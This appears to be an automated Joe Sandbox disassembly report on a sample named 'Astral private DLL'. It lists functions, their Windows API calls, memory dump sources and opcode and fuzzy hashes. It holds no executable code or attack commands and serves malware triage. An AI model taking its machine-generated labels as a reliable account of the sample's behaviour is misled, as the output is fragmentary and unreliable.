DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0016977F,?,?,001695CF,?,?,?,?,?,00192641), ref: 0016A21F

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 9dae799ba1bdc55808e5e0ed378db259237bb80e817d7cf8673adc8a20309856
Instruction ID: f27d7f95f8efb42bafa4d0747d8af417cec80d077a04384eed76faad71cccec3
Opcode Fuzzy Hash: 9dae799ba1bdc55808e5e0ed378db259237bb80e817d7cf8673adc8a20309856
Instruction Fuzzy Hash: 00E0D8351402096BEB015F60DC46FD937ACAF1C3C5F488065B944E2050EB71DED4DE50

Function 0017AC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00192641,000000FF), ref: 0017ACB0
CoUninitialize.COMBASE(?,?,?,?,00192641,000000FF), ref: 0017ACB5

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: f44d7b0e5dd3043b8ebb6c1615291c5a24be3f336af02d79a90281e86e30647e
Instruction ID: c9b4025fd4d79550c9519af5b2bd9962a22fd8cd0736367183b3067e25f7e4ac
Opcode Fuzzy Hash: f44d7b0e5dd3043b8ebb6c1615291c5a24be3f336af02d79a90281e86e30647e
Instruction Fuzzy Hash: B9E06D72604650EFCB019B58DC06B49FBE9FB89B20F04426AF416D3BA0CB74A840CA90

Function 0016A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0016A23A,?,0016755C,?,?,?,?), ref: 0016A254

Part of subcall function 0016BB03: _wcslen.LIBCMT ref: 0016BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0016A23A,?,0016755C,?,?,?,?), ref: 0016A280

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: f5109fda6be84c21a28f9b0b1cf3cccc3804d888d3a68e90285e432e57c089f7
Instruction ID: c52b0ae351948b69467737b5f621e18cd52b5bdc4f768a8f2d9626684a349043
Opcode Fuzzy Hash: f5109fda6be84c21a28f9b0b1cf3cccc3804d888d3a68e90285e432e57c089f7
Instruction Fuzzy Hash: B9E092355001245BCB21AB64CC05BD977A8AB183E1F044261FD54E31D0D770DE94CAA0

Function 0017DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0017DEEC

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

SetDlgItemTextW.USER32(00000065,?), ref: 0017DF03

Part of subcall function 0017B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0017B579
Part of subcall function 0017B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017B58A
Part of subcall function 0017B568: IsDialogMessageW.USER32(0001043C,?), ref: 0017B59E
Part of subcall function 0017B568: TranslateMessage.USER32(?), ref: 0017B5AC
Part of subcall function 0017B568: DispatchMessageW.USER32(?), ref: 0017B5B6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 5b296ee935542a4662fa11901ad533457dd387359e4bab58de6ae408b8cf26fd
Instruction ID: 9b53ccc2d7d7e80ef43583cb744b60615e40c4510846c9ba9d5c550b0631b3a0
Opcode Fuzzy Hash: 5b296ee935542a4662fa11901ad533457dd387359e4bab58de6ae408b8cf26fd
Instruction Fuzzy Hash: B4E092B64042486ADF02AB74DC0AFDE3BAC5B19789F044851B204DA0A2EB78EA608671

Function 0017081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00170836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0016F2D8,Crypt32.dll,00000000,0016F35C,?,?,0016F33E,?,?,?), ref: 00170858

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 8f320117365626fc7458547d88f055a5082e4a1b51d30a2242ad7565df064754
Instruction ID: 84003db0ac59429c9209660219cd0b7713b445a77e46705da6e6d7dab4207703
Opcode Fuzzy Hash: 8f320117365626fc7458547d88f055a5082e4a1b51d30a2242ad7565df064754
Instruction Fuzzy Hash: 05E048768001186BDB11A794DC49FDB77ACEF0D3D5F0440667649D2004D774DAC4CBB0

Function 0017A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0017A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0017A3E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 5535b410fb2955008ad3c7199f48ecb0e92de0bf3ea338c8af9ae6e41966ad34
Instruction ID: 3ae68ec22290c07ed3e3dbeb5ed0d6e34e95acf378e168e5391022afb4c4f104
Opcode Fuzzy Hash: 5535b410fb2955008ad3c7199f48ecb0e92de0bf3ea338c8af9ae6e41966ad34
Instruction Fuzzy Hash: 9CE01271504218EFCB14DF95C541B9DBBF8FF18764F10C05AE84A93201E374AE04DB91

Function 00182B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00182BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00182BB5

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 166d718928f0d9c8e88961a797dc0ced6935fcc8e3840d563958a2a356ac3182
Instruction ID: b758cd53f7de70f99a02ba4b6c2eb1794180835b379ce47d98d9ebdd056f12d5
Opcode Fuzzy Hash: 166d718928f0d9c8e88961a797dc0ced6935fcc8e3840d563958a2a356ac3182
Instruction Fuzzy Hash: 38D0A935156200188C2A7AB068029483385AF61BB27A0468BF831868C1EF318380AF12

Function 001612F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00161306
ShowWindow.USER32(00000000), ref: 0016130D

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: ddcbf7b52f74f8b201892722ac09a24a408b5da2cf86bb1efb8ff93bd5663a61
Instruction ID: 74605617df67db86ed7d3c14b281068dbb2fe7cbdca384abb02ed438a0ed8771
Opcode Fuzzy Hash: ddcbf7b52f74f8b201892722ac09a24a408b5da2cf86bb1efb8ff93bd5663a61
Instruction Fuzzy Hash: C2C0127205C200BECB011BB4DC09C2BBFB8EBA5312F08C908B0B5C0060C238C150EB11

Function 00161A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00161A09

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dd9bbcb392190d770933c8f013702fcc7f0b365c94bdbf52e60ba092e48f48f7
Instruction ID: 764941566fd18003c39826f0d94d9f44fe4b70eeae08ac7785f9e05231aaded4
Opcode Fuzzy Hash: dd9bbcb392190d770933c8f013702fcc7f0b365c94bdbf52e60ba092e48f48f7
Instruction Fuzzy Hash: B4C19230A00254BFEF19CF68CC98BAD7BB5AF15310F0C41B9EC569B296DB309964CB61

Function 00163BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00163BBF

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c605670703a976ecc7e4124e3853a9a6c9dea0a5cac51146280ea32879962ee3
Instruction ID: 2da69316ffe3cc46d3853a454d770c325ec20b337c22afec4a730daed0bccdb6
Opcode Fuzzy Hash: c605670703a976ecc7e4124e3853a9a6c9dea0a5cac51146280ea32879962ee3
Instruction Fuzzy Hash: 8671D271500B449EDB25DB70CC559E7B7E9AF24301F40482EF6BB97242EB326AA4DF21

Function 00168284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00168289

Part of subcall function 001613DC: __EH_prolog.LIBCMT ref: 001613E1

Part of subcall function 0016A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0016A598

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 9a3611e977bfc7e7a1f1c8009cb4f4b2b23c374262eaf22afdb0050a31dd33c9
Instruction ID: 12c8a05024c1ec25d587749096e8ee2c790ca964c859c7be1703c95f0b518754
Opcode Fuzzy Hash: 9a3611e977bfc7e7a1f1c8009cb4f4b2b23c374262eaf22afdb0050a31dd33c9
Instruction Fuzzy Hash: 5641D671944658AADB20DBA0CC55BEAB3B8BF14304F4405EBE08AA7183EF715FD8CB10

Function 001613E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001613E1

Part of subcall function 00165E37: __EH_prolog.LIBCMT ref: 00165E3C

Part of subcall function 0016CE40: __EH_prolog.LIBCMT ref: 0016CE45

Part of subcall function 0016B505: __EH_prolog.LIBCMT ref: 0016B50A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d2f00475033f80ddfcf80de4ccee2c11a24361b9d175233f2bb89839d760a8a1
Instruction ID: b6e65f4c07f51590fe1d01e244badc59b20a025631f0a98312e909a8833a48da
Opcode Fuzzy Hash: d2f00475033f80ddfcf80de4ccee2c11a24361b9d175233f2bb89839d760a8a1
Instruction Fuzzy Hash: 7B4127B0905B409EE724DF798885AE6FAE5BF29300F54492ED5EF87282CB316654CB10

Function 001613DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001613E1

Part of subcall function 00165E37: __EH_prolog.LIBCMT ref: 00165E3C

Part of subcall function 0016CE40: __EH_prolog.LIBCMT ref: 0016CE45

Part of subcall function 0016B505: __EH_prolog.LIBCMT ref: 0016B50A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e4d3f7fba960e40dcb6c739a1b342fca34d49520a649c8b889e95133ba2cc49b
Instruction ID: 62cbedd24e62e148230fb777e12d74dc2f15e9a9f9abe157d8008264238321e4
Opcode Fuzzy Hash: e4d3f7fba960e40dcb6c739a1b342fca34d49520a649c8b889e95133ba2cc49b
Instruction Fuzzy Hash: 634127B0905B409AE724DF798885AE6FAE5BF29300F54492ED5FE83282CB316654CB10

Function 0017B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0017B098

Part of subcall function 001613DC: __EH_prolog.LIBCMT ref: 001613E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0d99bbb4db79a6d7b82e31afd80a575a806a5f32734cab14130f14636464651f
Instruction ID: 0cec639826dc35e991ea1eb6d8ef1c6e3193bbed8e1ed0c620f4f28ae8f8cd3f
Opcode Fuzzy Hash: 0d99bbb4db79a6d7b82e31afd80a575a806a5f32734cab14130f14636464651f
Instruction Fuzzy Hash: 81318B75C04249AECF15DF68D891AEEBBB4AF18304F54849EE409B7242DB35AF04CB61

Function 0018AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0018ACF8

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: ff97f0f019d2cd7e1842a23919ce3efa4c885250f88d561049a5118e94924a45
Instruction ID: d978b812188d6b37f74b92b1ac2596d9d9353419484cca872bac40e2e6a61313
Opcode Fuzzy Hash: ff97f0f019d2cd7e1842a23919ce3efa4c885250f88d561049a5118e94924a45
Instruction Fuzzy Hash: BD112933A006255FAB26FEA8EC4095A7399EF843607564222FD15EB654D730EE418FD2

Function 0016CE40 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0016CE45

Part of subcall function 00165E37: __EH_prolog.LIBCMT ref: 00165E3C

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 86f54067edb6cf3e9aca848a63996c51826d961f9ba03e0abd0d43e9963d66d6
Instruction ID: 7cb9a201960042bfa3f9f4a6c05b313dcede62ded8fa0353348a30af03e8143a
Opcode Fuzzy Hash: 86f54067edb6cf3e9aca848a63996c51826d961f9ba03e0abd0d43e9963d66d6
Instruction Fuzzy Hash: FD118271A00244DEEB14EBB9C946BAEBBF8DF65300F14445EE486E7282DB745F04CB62

Function 00169215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0016921A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 91d855cc0d606b69d39131acd9bd5a5a2504e9497053fdff13e9575324d842af
Instruction ID: b6efa1cc146cb5fc3abc3a31f8d4c5bfb6c59289e0c5413d9ea81139b29a427d
Opcode Fuzzy Hash: 91d855cc0d606b69d39131acd9bd5a5a2504e9497053fdff13e9575324d842af
Instruction Fuzzy Hash: 5001A533E00528ABCF11ABA8CD919DEB775BF98750F054119F816BB252DB348D24C6A0

Function 0018B136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00189813,00000001,00000364,?,00183F73,00000050,?,001A1030,00000200), ref: 0018B177

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: de53dffe25cd04723e94871392ce0520efb7f12979c49f0cd90e6751cfe7f85d
Instruction ID: ae48dbd046f23b9eafd3b233e73d331f72943f959da05fc6ba5ffaea99949748
Opcode Fuzzy Hash: de53dffe25cd04723e94871392ce0520efb7f12979c49f0cd90e6751cfe7f85d
Instruction Fuzzy Hash: 56F0543254D12567DB257A61BCAEBAE7788AB55770B198111FC189F190CB60DB018FE0

Function 00183C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00183C3F

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
